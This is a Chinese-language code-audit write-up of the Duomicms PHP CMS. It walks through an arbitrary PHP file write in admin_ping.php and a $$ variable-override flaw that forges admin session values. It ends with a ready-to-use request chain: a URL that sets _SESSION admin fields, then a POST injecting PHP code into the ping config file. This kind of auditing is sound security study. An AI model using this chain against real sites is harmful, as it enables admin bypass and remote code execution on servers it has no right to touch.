PHP审计之Duomicms审计

前言

废话不多说，开冲

代码审计

任意文件写入

定位漏洞代码admin/admin_ping.php

if($action=="set")
{
   $weburl= $_POST['weburl'];
   $token = $_POST['token'];
   $open=fopen("../data/admin/ping.php","w" );
   $str='<?php ';
   $str.='$weburl = "';
   $str.="$weburl";
   $str.='"; ';
   $str.='$token = "';
   $str.="$token";
   $str.='"; ';
   $str.=" ?>";
   fwrite($open,$str);
   fclose($open);
}

这个地方比较简单，接收action参数为set，即走入这个判断。直接写入了一个php文件，写入php内容$weburl。

SESSION覆盖

经常导致变量覆盖漏洞场景有：
$$使用不当，extract()函数使用不当，parse_str()函数使用不当import_request_variables()使用不当，开启了全局变量注册等。

这里包含了config.php

看到config.php代码

define('duomi_ADMIN', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) );
require_once(duomi_ADMIN."/../duomiphp/common.php");
require_once(duomi_INC."/check.admin.php");
require_once(duomi_ADMIN."/api/Snoopy.class.php");

...
    
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
	header("location:login.php?gotopage=".urlencode($EkNowurl));
	exit();
}

做了鉴权，来看看这个鉴权具体是怎么实现的。

来到userLogin类中

class userLogin
{
	var $userName = '';
	var $userPwd = '';
	var $userID = '';
	var $adminDir = '';
	var $groupid = '';
	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";

	//php5构造函数
	function __construct($admindir='')
	{
		global $admin_path;
		if(isset($_SESSION[$this->keepUserIDTag]))
		{
			$this->userID = $_SESSION[$this->keepUserIDTag];
			$this->groupid = $_SESSION[$this->keepgroupidTag];
			$this->userName = $_SESSION[$this->keepUserNameTag];
		}
        ...

$_SESSION中分别取duomi_admin_id 、 duomi_group_id 、duomi_admin_name

见名知意，即对应的 用户名字、所属组、用户

来到login.php，即checkUser方法被调用的地方。

$cuserLogin = new userLogin($admindir);
		if(!empty($userid) && !empty($pwd))
		{
			$res = $cuserLogin->checkUser($userid,$pwd);

			//success
			if($res==1)
			{
				$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录，正在转向管理管理主页！',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录，正在转向管理管理主页！',"index.php");
					exit();
				}
			}

只需要$res等于1的话，即认证通过。

checkUser方法

function checkUser($username,$userpwd)
	{
		global $dsql;

		//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
		$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
		$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
		$pwd = substr(md5($this->userPwd),5,20);
		$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
		$dsql->Execute();
		$row = $dsql->GetObject();
		if(!isset($row->password))
		{
			return -1;
		}
		else if($pwd!=$row->password)
		{
			return -2;
		}

变量的位置在 common.php

看一看使用这个变量覆盖需要满足的条件

foreach($_REQUEST as $_k=>$_v)
{
   if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
   {
      exit('Request var not allow!');
   }
}

1.必须要有传参 2.正则匹配不能有cfg_和GLOBALS 3.不能有cookie某个值传参

$$变量覆盖漏洞

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

现在需要寻找一个session_start开启的地方，结合变量覆盖漏洞利用。

这时候结合到上面分析的鉴权实现得知鉴权是从$SESSION中获取了

duomi_admin_id 、 duomi_group_id 、duomi_admin_name这三个变量，构造poc覆盖这三个变量即可。

/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin

POST /admin/admin_ping.php?action=set HTTP/1.1
Host: 192.168.8.104:8013
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.8.104:8013
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.8.104:8013/admin/admin_ping.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
Cookie: PHPSESSID=e1mlfmpf2knhvg6doj5gt2jqd6
Connection: close

weburl=";phpinfo();//"&token=123456789

参考

• 红日安全]代码审计Day14 - 从变量覆盖到getshell
• 代码审计--Duomicms变量覆盖漏洞